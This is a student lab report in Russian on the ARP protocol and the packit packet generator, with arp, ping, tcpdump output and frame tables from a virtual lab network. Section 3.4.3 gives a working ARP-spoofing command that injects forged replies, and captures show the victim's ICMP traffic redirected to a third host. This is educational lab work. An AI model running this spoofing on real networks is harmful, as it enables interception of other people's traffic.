LABORATORY / WORK_3 / отчёт_Козырев
.docxОтчёт к лабораторной работе №3
Изучение протокола ARP. Получение навыков работы с генераторами пакетов
Группа: ИКВТ-61
Студент: Козырев А.Б.
Цель работы: Рассмотреть принципы работы протокола ARP. Получить практические навыки в анализе кадров ARP и их сост лении. Получение базовых навыков по работе с генератором пакетов packit.
3.4.1. Утилита arp. ARP-кэш.
-
arp | tee log.txt
Address HWtype HWaddress Flags Mask Iface
gateway ether 20:e5:2a:05:d6:b6 C enp0s3
-
ping 192.168.1.32 | tee log.txt
PING 192.168.1.32 (192.168.1.32) 56(84) bytes of data.
64 bytes from 192.168.1.32: icmp_seq=1 ttl=64 time=0.794 ms
64 bytes from 192.168.1.32: icmp_seq=2 ttl=64 time=0.531 ms
64 bytes from 192.168.1.32: icmp_seq=3 ttl=64 time=1.21 ms
64 bytes from 192.168.1.32: icmp_seq=4 ttl=64 time=0.683 ms
--- 192.168.1.32 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3045ms
rtt min/avg/max/mdev = 0.531/0.806/1.217/0.255 ms
-
arp | tee log.txt
Address HWtype HWaddress Flags Mask Iface
192.168.1.32 ether 08:00:27:17:5d:c0 C enp0s3
gateway ether 20:e5:2a:05:d6:b6 C enp0s3
3.4.2. Отправка ARP-запроса и получение ARP-ответа
ARP запрос из A → B
|
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
|
FF:FF:FF:FF:FF:FF |
08:00:27:53:80:6c |
0x0806 |
0x0001 |
||||||||||||
|
0x0800 |
6 |
4 |
0x01 |
08:00:27:53:80:6c |
0xc0a80124 |
||||||||||
|
00:00:00:00:00:00 |
0xc0a80120 |
|
|||||||||||||
ARP ответ из B → A
|
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
|
08:00:27:53:80:6c |
|
0x0806 |
0x0001 |
||||||||||||
|
0x0800 |
6 |
4 |
0x02 |
|
0xc0a80120 |
||||||||||
|
08:00:27:53:80:6c |
0xc0a80124 |
|
|||||||||||||
-
tcpdump -i enp0s3 -lvnnSXX -s 1500 'ether proto \arp and host 192.168.1.36 and host 192.168.1.32' | tee log.txt
tcpdump: listening on enp0s3, link-type EN10MB (Ethernet), capture size 1500 bytes
-
packit -t arp -A 1 -y 192.168.1.32 -Y 00:00:00:00:00:00 -x 192.168.1.36 -X 08:00:27:53:80:6c \ -e 08:00:27:53:80:6c -E FF:FF:FF:FF:FF:FF -i enp0s3 | tee log2.txt
Mode: Packet Injection using device: enp0s3
ARP header: Type: Request(1)
Sender: Protocol Address: 192.168.1.36 Hardware Address: 8:0:27:53:80:6C
Target: Protocol Address: 192.168.1.32 Hardware Address: 0:0:0:0:0:0
Eth header: Src Address: 8:0:27:53:80:6C Dst Address: FF:FF:FF:FF:FF:FF
-| Packet Injection Statistics |--------------------------------------------
Injected: 1 Packets/Sec: 1.0 Bytes/Sec: 42.0 Errors: 0
22:31:25.325400 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 192.168.1.32 tell 192.168.1.36, length 28
0x0000: ffff ffff ffff 0800 2753 806c 0806 0001 ........'S.l....
0x0010: 0800 0604 0001 0800 2753 806c c0a8 0124 ........'S.l...$
0x0020: 0000 0000 0000 c0a8 0120 ..........
22:31:25.326100 ARP, Ethernet (len 6), IPv4 (len 4), Reply 192.168.1.32 is-at 08:00:27:17:5d:c0, length 46
0x0000: 0800 2753 806c 0800 2717 5dc0 0806 0001 ..'S.l..'.].....
0x0010: 0800 0604 0002 0800 2717 5dc0 c0a8 0120 ........'.].....
0x0020: 0800 2753 806c c0a8 0124 0000 0000 0000 ..'S.l...$......
0x0030: 0000 0000 0000 0000 0000 0000 ............
3.4.3. ARP-spoofing: подмена соответствия MAC-адреса IP-адресу
-
ARP-reply самопроизвольный ответ
|
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
|
08:00:27:53:80:6c |
08:00:27:04:ed:15 |
0x0806 |
0x0001 |
||||||||||||
|
0x0800 |
6 |
4 |
0x02 |
08:00:27:04:ed:15 |
0xc0a80120 |
||||||||||
|
08:00:27:53:80:6c |
0xc0a80124 |
|
|||||||||||||
-
tcpdump -i enp0s3 -XX -s 1500 \ 'ip proto \icmp and dst host 192.168.1.32' | tee log.txt
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on enp0s3, link-type EN10MB (Ethernet), capture size 1500 bytes
-
packit -t arp -A 2 -y 192.168.1.36 -Y 08:00:27:53:80:6c -x 192.168.1.32 -X 08:00:27:04:ed:15 -e 08:00:27:04:ed:15 -E 08:00:27:53:80:6c -c 10 -w 5 -i enp0s3 | tee log2.txt
Mode: Packet Injection using device: enp0s3
ARP header: Type: Reply(2)
Sender: Protocol Address: 192.168.1.32 Hardware Address: 8:0:27:4:ED:15
Target: Protocol Address: 192.168.1.36 Hardware Address: 8:0:27:53:80:6C
Eth header: Src Address: 8:0:27:4:ED:15 Dst Address: 8:0:27:53:80:6C
-| Packet Injection Statistics |--------------------------------------------
Injected: 10 Packets/Sec: 1.1 Bytes/Sec: 46.6 Errors: 0
-
ping 192.168.1.32 | tee log.txt
PING 192.168.1.32 (192.168.1.32) 56(84) bytes of data.
64 bytes from 192.168.1.32: icmp_seq=27 ttl=64 time=0.992 ms
64 bytes from 192.168.1.32: icmp_seq=28 ttl=64 time=0.373 ms
64 bytes from 192.168.1.32: icmp_seq=29 ttl=64 time=0.729 ms
64 bytes from 192.168.1.32: icmp_seq=30 ttl=64 time=0.393 ms
64 bytes from 192.168.1.32: icmp_seq=31 ttl=64 time=0.376 ms
64 bytes from 192.168.1.32: icmp_seq=32 ttl=64 time=0.371 ms
64 bytes from 192.168.1.32: icmp_seq=33 ttl=64 time=0.712 ms
64 bytes from 192.168.1.32: icmp_seq=34 ttl=64 time=0.479 ms
64 bytes from 192.168.1.32: icmp_seq=35 ttl=64 time=0.760 ms
64 bytes from 192.168.1.32: icmp_seq=36 ttl=64 time=0.478 ms
64 bytes from 192.168.1.32: icmp_seq=37 ttl=64 time=0.832 ms
64 bytes from 192.168.1.32: icmp_seq=38 ttl=64 time=0.602 ms
64 bytes from 192.168.1.32: icmp_seq=39 ttl=64 time=0.996 ms
64 bytes from 192.168.1.32: icmp_seq=40 ttl=64 time=1.16 ms
64 bytes from 192.168.1.32: icmp_seq=41 ttl=64 time=1.93 ms
64 bytes from 192.168.1.32: icmp_seq=42 ttl=64 time=0.566 ms
64 bytes from 192.168.1.32: icmp_seq=43 ttl=64 time=0.480 ms
64 bytes from 192.168.1.32: icmp_seq=44 ttl=64 time=0.418 ms
64 bytes from 192.168.1.32: icmp_seq=45 ttl=64 time=0.369 ms
64 bytes from 192.168.1.32: icmp_seq=46 ttl=64 time=0.433 ms
64 bytes from 192.168.1.32: icmp_seq=47 ttl=64 time=0.471 ms
64 bytes from 192.168.1.32: icmp_seq=48 ttl=64 time=0.450 ms
-
On host C
01:44:07.221349 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 1, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7486 4000 4001 428e c0a8 0124 c0a8 .Tt.@.@.B....$..
0x0020: 0120 0800 eaf5 07d3 0001 b4e6 c05c 0000 .............\..
0x0030: 0000 c61f 0b00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:08.225628 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 2, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7564 4000 4001 41b0 c0a8 0124 c0a8 .Tud@.@.A....$..
0x0020: 0120 0800 d5e1 07d3 0002 b5e6 c05c 0000 .............\..
0x0030: 0000 da32 0b00 0000 0000 1011 1213 1415 ...2............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:09.249334 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 3, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7620 4000 4001 40f4 c0a8 0124 c0a8 .Tv.@.@.@....$..
0x0020: 0120 0800 6d83 07d3 0003 b6e6 c05c 0000 ....m........\..
0x0030: 0000 4190 0b00 0000 0000 1011 1213 1415 ..A.............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:10.272788 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 4, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 76c8 4000 4001 404c c0a8 0124 c0a8 .Tv.@.@.@L...$..
0x0020: 0120 0800 a923 07d3 0004 b7e6 c05c 0000 .....#.......\..
0x0030: 0000 04ef 0b00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:11.295922 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 5, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7799 4000 4001 3f7b c0a8 0124 c0a8 .Tw.@.@.?{...$..
0x0020: 0120 0800 adc6 07d3 0005 b8e6 c05c 0000 .............\..
0x0030: 0000 fe4a 0c00 0000 0000 1011 1213 1415 ...J............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:12.319097 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 6, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 77fb 4000 4001 3f19 c0a8 0124 c0a8 .Tw.@.@.?....$..
0x0020: 0120 0800 ca68 07d3 0006 b9e6 c05c 0000 .....h.......\..
0x0030: 0000 e0a7 0c00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:13.343252 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 7, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7882 4000 4001 3e92 c0a8 0124 c0a8 .Tx.@.@.>....$..
0x0020: 0120 0800 b907 07d3 0007 bae6 c05c 0000 .............\..
0x0030: 0000 f007 0d00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:14.366819 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 8, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7937 4000 4001 3ddd c0a8 0124 c0a8 .Ty7@.@.=....$..
0x0020: 0120 0800 c8a8 07d3 0008 bbe6 c05c 0000 .............\..
0x0030: 0000 df65 0d00 0000 0000 1011 1213 1415 ...e............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:15.389935 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 9, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 79e6 4000 4001 3d2e c0a8 0124 c0a8 .Ty.@.@.=....$..
0x0020: 0120 0800 ee4b 07d3 0009 bce6 c05c 0000 .....K.......\..
0x0030: 0000 b8c1 0d00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:16.414225 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 10, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7a9f 4000 4001 3c75 c0a8 0124 c0a8 .Tz.@.@.<u...$..
0x0020: 0120 0800 4fea 07d3 000a bde6 c05c 0000 ....O........\..
0x0030: 0000 5522 0e00 0000 0000 1011 1213 1415 ..U"............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:17.436831 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 11, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7ab9 4000 4001 3c5b c0a8 0124 c0a8 .Tz.@.@.<[...$..
0x0020: 0120 0800 bd8d 07d3 000b bee6 c05c 0000 .............\..
0x0030: 0000 e67d 0e00 0000 0000 1011 1213 1415 ...}............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:18.460237 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 12, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7af5 4000 4001 3c1f c0a8 0124 c0a8 .Tz.@.@.<....$..
0x0020: 0120 0800 852f 07d3 000c bfe6 c05c 0000 ...../.......\..
0x0030: 0000 1ddb 0e00 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:19.484494 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 13, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7b61 4000 4001 3bb3 c0a8 0124 c0a8 .T{a@.@.;....$..
0x0020: 0120 0800 d9ce 07d3 000d c0e6 c05c 0000 .............\..
0x0030: 0000 c73a 0f00 0000 0000 1011 1213 1415 ...:............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:20.508023 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 14, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7b78 4000 4001 3b9c c0a8 0124 c0a8 .T{x@.@.;....$..
0x0020: 0120 0800 fdb1 07d3 000e c2e6 c05c 0000 .............\..
0x0030: 0000 b056 0000 0000 0000 1011 1213 1415 ...V............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:21.531383 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 15, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7b7b 4000 4001 3b99 c0a8 0124 c0a8 .T{{@.@.;....$..
0x0020: 0120 0800 f652 07d3 000f c3e6 c05c 0000 .....R.......\..
0x0030: 0000 b6b4 0000 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:22.554899 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 16, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7c0a 4000 4001 3b0a c0a8 0124 c0a8 .T|.@.@.;....$..
0x0020: 0120 0800 42f4 07d3 0010 c4e6 c05c 0000 ....B........\..
0x0030: 0000 6812 0100 0000 0000 1011 1213 1415 ..h.............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:23.577968 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 17, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7cc1 4000 4001 3a53 c0a8 0124 c0a8 .T|.@.@.:S...$..
0x0020: 0120 0800 e596 07d3 0011 c5e6 c05c 0000 .............\..
0x0030: 0000 c46e 0100 0000 0000 1011 1213 1415 ...n............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:24.602092 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 18, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7d86 4000 4001 398e c0a8 0124 c0a8 .T}.@.@.9....$..
0x0020: 0120 0800 ad35 07d3 0012 c6e6 c05c 0000 .....5.......\..
0x0030: 0000 fbce 0100 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:25.625162 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 19, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7e39 4000 4001 38db c0a8 0124 c0a8 .T~9@.@.8....$..
0x0020: 0120 0800 8ed8 07d3 0013 c7e6 c05c 0000 .............\..
0x0030: 0000 182b 0200 0000 0000 1011 1213 1415 ...+............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:26.648479 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 20, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7ee6 4000 4001 382e c0a8 0124 c0a8 .T~.@.@.8....$..
0x0020: 0120 0800 517a 07d3 0014 c8e6 c05c 0000 ....Qz.......\..
0x0030: 0000 5488 0200 0000 0000 1011 1213 1415 ..T.............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:27.672469 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 21, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 7f81 4000 4001 3793 c0a8 0124 c0a8 .T..@.@.7....$..
0x0020: 0120 0800 121a 07d3 0015 c9e6 c05c 0000 .............\..
0x0030: 0000 92e7 0200 0000 0000 1011 1213 1415 ................
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:28.695201 IP 192.168.1.36 > 192.168.1.32: ICMP echo request, id 2003, seq 22, length 64
0x0000: 0800 2704 ed15 0800 2753 806c 0800 4500 ..'.....'S.l..E.
0x0010: 0054 8000 4000 4001 3714 c0a8 0124 c0a8 .T..@.@.7....$..
0x0020: 0120 0800 ffbd 07d3 0016 cae6 c05c 0000 .............\..
0x0030: 0000 a342 0300 0000 0000 1011 1213 1415 ...B............
0x0040: 1617 1819 1a1b 1c1d 1e1f 2021 2223 2425 ...........!"#$%
0x0050: 2627 2829 2a2b 2c2d 2e2f 3031 3233 3435 &'()*+,-./012345
0x0060: 3637 67
01:44:29.719073 IP 192.168.1.36 > 192.168.1.32: ICMP echo request